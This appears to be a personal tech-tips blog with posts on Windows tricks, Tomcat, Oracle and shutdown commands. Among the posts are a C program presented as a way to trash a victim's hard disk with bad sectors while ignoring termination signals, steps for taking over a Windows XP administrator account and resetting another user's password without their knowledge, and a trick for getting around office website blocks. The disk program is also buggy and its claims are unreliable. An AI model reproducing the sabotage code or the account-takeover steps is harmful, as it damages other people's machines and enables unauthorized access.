Friday, November 6, 2020

Tuesday, August 28, 2012

Let Now Start With Microsoft.Net Tricks

So first get visual studio in your system, download it from this link http://msdn.microsoft.com/en-us/aa570309

I will come soon with the tips and tricks of visual studio and .NET.

Monday, November 14, 2011

Lets Have some fun with Google

Open Google.com and type the following to get some wonderful refreshing moments

tilt                                 :-Your page tilts a little

do a barrel roll             :-your page rolls completely

Now open a new browser and copy paste the following address
www.mrdoob.com/projects/chromeexperiments/google_gravity/

You will get a page.
The moment you move your mouse,google will collapse infront of you,and u can play with google like any thing

Thanks for reading this artical

Sunday, September 4, 2011

Starting GlassFishServer Manually

Sometimes glassfish server is installed but its not visible in the program files.
Here is how you can start it manually by going to glassfish installation folder.

Use command prompt and navigate to "bin" folder of glassfish and type the following command

C:\Program Files\glassfish-v2\bin>   asadmin start-domain domain1


where domain1 is the default domain name.

Now server will be started.

Thursday, July 21, 2011

Starting Tomcat Server through Command Prompt

Most of Us start the Tomcat Server either
  • By double clicking tomcat_home\bin\  tomcatX.exe
  • By using Services in Service Manager
  • By using the short cut in System-tray(area where u see time)
But SomeTimes due to virus,TomcatX.exe may not be present in bin folder or may not be working
Reason may be anything,But Problem is You are unable to start the tomcat server.

So One more way is there,which Some people Knows,But Few People Shares

Open Dos and navigate to the bin folder of Tomcat and type the following
c:\Tomcat 6.0\bin>java -jar bootstrap.jar

It will start the tomcat.Notice that in your bin folder we have bootstrap.jar which is not a normal jar file.Its Executable jar file.
When you say >java -jar bootstrap.jar,    org.apache.catalina.startup.Bootstrap  class gets Executed.
and you get the Tomcat Console


 




Sunday, July 17, 2011

Opening Facebooks,Orkuts in Offices

Practically i have seen,Software companies generally dont allow users to open facebook,orkut. in offices.
There is a very simple trick to cheat them.

instead of typing http://www.facebook.com/
type https://www.facebook.com/
 and so on.

The entire magic is on HTTPS. I have used it and it worked.Hope it will be same for All
Cheers

Monday, July 4, 2011

Oracle Architecture

Oracle is a database s/w.
It can be divided into multiple partition.
Each partition will be identified by one global database.
By default when you install oracle,we have only 1 partition,which is identified by one global database.
ORCL for oracle enterprise edition(changable)
XE for oracle express Edition.

Each Db may contain many user,
and each user may contain multiple tables
and each table may contain multiple rows and columns

Thats the story of Oracle Architecture


Saturday, July 2, 2011

Breaking into Oracle

Resetting system password in oracle
***********************************

If you have forgotten system password in oracle,you can do the following to reset it.

1>  start->run-> type  Sqlplus


2> Enter user-name: conn /as sysdba
   Enter password:     

Connected to:
Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 - Production
With the Partitioning, OLAP and Data Mining options

3>  SQL> alter user system identified by samsung;
    User altered.



You have successfully changed the system password to samsung.
samsung is the new password.and you need not worry about previous password


Sunday, June 12, 2011

Removing Services manually from Windows Service Manager

Sometimes you have uninstalled the software from ur machine,but still u find some services are visible at service manager.(start->run->services.msc)

Here is how to remove it manually by going into Registry Editor
1>Start->Run->Regedit  
2>Navigate to  HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services
3>Delete the services related folder
Restart if needed


Sunday, June 5, 2011

Unable to Install windows XP in Toshiba Satellite Laptop

Toshiba Satellite L300  comes with Vista preinstalled.
If you try to install XP then it say that it couldn't find a hard drive.

Here is the way to keep xp in your toshiba

Switch on the Laptop and then press F2 to get into the BIOS menu.
 Then go to the SATA option and change it from ACHI to Compatibility
then exit saving your changes (F10)

 and then reboot your Laptop from the XP Operating System disk.



It will now let you install Windows XP or any other Operating System.





Friday, March 18, 2011

JAXER

Now Java Script can be used at Client side as well as server side. Jaxer is a Server which provides Access to Database with use of Java Script itself, No need of any other scripting language. HTML,CSS, Java Script with database support is sufficient to build any web application.

Saturday, January 22, 2011

Creating folder which on Opening takes You to "Recycle Bin"

1.Assume folder name is RAJ,present in C:
    C:\RAJ

        My Computer
             |-------------->C:
             |                        |----->RAJ
             |                        |----->lock.bat
             |-------------->D:
                                     |---->key.bat
  
2.prepare a lock file.keep the lock file in c:
  Open a notepad and type the following

    ren RAJ RAJ.{645FF040-5081-101B-9F08-00AA002F954E}
     save the file. In file name type "lock.bat"   (include "")

3.prepare a key file.keep the key file in d:
  Open a notepad and type the following

  ren C:\RAJ.{645FF040-5081-101B-9F08-00AA002F954E} RAJ

save the file.In file name type "key.bat"   (include "")
______________________________________________________________________________

Note:key.bat,lock.bat should not be kept in same place,coz others can click key.bat to unlock the folder.
The location of key.bat should be known to you only.You may place key.bat anywhere.

Operation:

To lock the folder.Simply double-click lock.bat.The folder icon changes to Recycle-bin.
To unlock the folder.Simply double-click key.bat present in  D:

Modify as per your wish

Monday, January 10, 2011

Some times your ports are busy.

Exclusively for Web Developers

WhenEver you are developing your webapplication and your tomcat server/or any webserver fails to startup saying some is in use.  Here is the process to find out which port no is used by which service and kill that service to free that port
 


c:\>netstat -a -o       //displays all the process with their port and PID



 Protocol    Local Address :Port        Foreign Address                 State                     PID
 TCP                       raj:1033                   localhost:1034              ESTABLISHED         1692
 TCP                       raj:1034                   localhost:1033              ESTABLISHED         1692
 TCP                       raj:2008                   localhost:2009              ESTABLISHED         1376
 HTTP                     raj:2541                  localhost:12080            ESTABLISHED         1400




Suppose u want to free the port 2541.its pid is 1400


c:\>   taskkill /pid 1400 /f     //assuming PID=1400 is the process ID using that port /f for forcefully

            terminating the service with that PID

for more help
c:\>    taskkill /?
c:\>    tskill /?

Saturday, October 30, 2010

Cracking Windows XP

Cracking Windows means 2 things
1>cracking the password without knowing the original password
2>Somehow Knowing the password and then using that password without letting the user know

cracking password
In XP we generally deal with 2 types of account.
Administrator Account
User Account

When XP is loaded in a computer,it asks for administrator password,generally people keep   it blank(So that  pasword can be reset when we forget later and Most of the time,people dont use their Administrator account,they like to work with   their user account.

This is how you can  crack their PC and hack Administrator Password
  1. Start your computer 
  2. It will take you to logon screen.where only user Account is visible, 
  3. Press Alt+Ctrl+Delete (2 times).it will take you to old NT style logon box 
  4. On username:  administrator   
  5. Password:                    press Enter     
  6. System will login using administrator account.
  7. Now from ur Administrator account,Open command prompt
  8.     Start-->run-->type "cmd"  without space
  9. In that command Prompt or DOS screen. Type   net   user  administrator   *        press enter
  10. It will ask for password.Press Enter 2 times and it will say command completed successfully
  11. Now you have sucessfully cracked users Password,without knowing existing password

This is not a hacking,windows had given u feature,thats why u could do it.

Friday, October 22, 2010

Create a Bad Sector on HardDisk

This is a C program,to create bad sectors on the Hard disk. Use it at your own risk

/*create bad sectors on the hard disk.
*
* This program will create bad sectors on the hard disk. If you left it
* running for long enough, it could render a hard disk quite useless. When
* bad sectors are found, the sector is marked as bad, so fixing the hard disk
* is not an easy task. Unless the victim has time and knowledge to fix the
* disk, the hard drive can be left quite literally defective.
* I don't take responsibility for what you do with this program, served for educational purpose        * only.
 */

#include "stdio.h"
#include "stdlib.h"
#include "unistd.h"
#include "signal.h"
#include "sys/types.h"
#include "sys/stat.h"
#include "fcntl.h"

#define HDSIZE 640000

void handle_sig();

int main() {

int i = 0;
int x;
int fd[5];

signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

char *buf;

buf = malloc(HDSIZE);

printf("sekt0r: trashing hard disk with bad sectors!\n");

while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);

for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);

} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */


void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);

printf("sector: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back & creating bad sectors. */
}

Wednesday, October 20, 2010

Make XP supporting your Regional languages.

If you are opening hindi website,and its contents are displayed in hindi,it doesnot means that your OS is supporting that language,but your Browser is supporting that,so it is able to display.

Can u save a hindi word,in your normal notepad.If yes,then you can say your OS is supporting Hindi script,
If not,its not supporting that script

So here is the way to make your XP supporting hindi language,and other regional language

1.Open control Panel
2.goto regional and langauge option
3.navigate to Languages tab
4.Now place your Windows XP Bootable CD in CD     Drive
5.Now from language tab select the option     "Install files for complex script...."
6. Warning will come,press ok
7.Now press Apply button.(Installation starts after press Apply)

If you have not placed your XP cd,it will ask you at this time.Place CD and click ok

After that the Os will Copy the required font and files from cd to your local drive.It will ask for reboot.Reboot your computer

Now how to save hindi words in your notepad

1. collect hindi words from sites such as   http://www.shabdkosh.com
2..Now copy paste those words into a notepad, you can also type them manually,using software
3. Now clik saveAs,In the SaveAs dialog box,in the encoding section,choose Unicode.
4. Press Save Button

Now you have sucessfully saved Hindi script words in your File

Monday, October 18, 2010

shutdown through command prompt

If u want to shutdown windows through command prompt.Here is how?
1.Open command prompt.
         start-->Run---> Type "cmd"  w/o quotes

2.Now you can Type the following,on DOS screen

Shutdown –s
It will shutdown your computer in 30 seconds and display a message

shutdown –s –t 40 

 It will shutdown in 40 seconds but you can only go up to 86400 (24 hours) but if you make it 0 it will show no message and just shutdown immediately

shutdown –s –c ”This is Gone”

 It will shutdown with a message in a box under the time

shutdown –l

 It will just log  off the computer

shutdown -i

 It will display the GUI shutdown window

shutdown –r

will restart the computer

shutdown –a

 It will abort the shutdown.If you have written shutdown -t 300 means your system will shutdown after 5 minute.However if you realise that you shutdown must be cancelled, again write shutdown -a in command prompt

shutdown –f

 will force all running applications to close

For more assistance type Shutdown /?  in the command prompt

Friday, October 15, 2010

Bad Abbreviations of good Terms

Hi,This is only for fun.I request you not to by-heart and write in your answer paper.
WARNING: Please Dont try this at your exam
 
CD-ROM: Consumer Device, Rendered Obsolete in Months
PCMCIA:
People Can't Memorize Computer Industry Acronyms
ISDN: It Still Does Nothing
SCSI: System Can't See It
MIPS:
Meaningless Indication of Processor Speed
DOS: Defunct Operating System
WINDOWS: Will Install Needless Data On Whole System
OS/2: Obsolete Soon, Too
PnP: Plug and Pray
APPLE: Arrogance Produces Profit-Losing Entity
IBM: I Blame Microsoft
DEC:
Do Expect Cuts
MICROSOFT: Most Intelligent Customers Realize Our Software Only Fools Teenagers
CA: Constant Acquisitions
COBOL:
Completely Obsolete Business Oriented Language
liSP: Lots of Insipid and Stupid Parentheses
MACINTOSH: Most Applications Crash; If Not, The Operating System Hangs
AAAAA: American Association Against Acronym Abuse.
WYSIWYMGIYRRLAAGW: What You See Is What You Might Get If You're Really Really Lucky And All Goes Well.

Tuesday, October 12, 2010

Automatic Windows Refresh

We can modify the registry,so that window automatically refreshes frequently.To do so
Copy & paste the following code in notepad and save it as WindowsRefresh.reg

*****************************WindowsRefresh.reg**************************************
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Update]
"UpDateMode"=dword:00000000

************************************************************************************

Once done,open the file to add it to your registry.Reboot your system

Clear Page File at Shutdown

A pageFile is purely an Operating System concept,its a file in which paging takes place.
For non-technical people,i dont mind to say page file works as temporary memory,if we dont have sufficient memory in the RAM.

Most Often,it contains unnecessary files inside it,which was created while executing some program,but now its totally useless.We should not delete that file,because its very helpful if your system has got less RAM(say 512MB) like me.
One thing we can certainly do is,clean that pagefile  just before sytem shutdowns.

To see PageFile,
open c:\ -->go to tool-->folder option---> scroll down and check  show hidden files & folders
also uncheck hide protected operating system.clik apply.


Now observe some new files are visible inside c:\   out of them 1 is pagefile.sys.
Note:You may not find that file,if your pagefile option is not activated

How to clear pagefile
##################
Copy & paste the following code in notepad and save it as "ClearPageFile.reg".

**************************ClearPageFile.reg***************************************
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management]
"ClearPageFileAtShutdown"=dword:00000001
********************************************************************************

Once done,double-clik to add to your registry.Reboot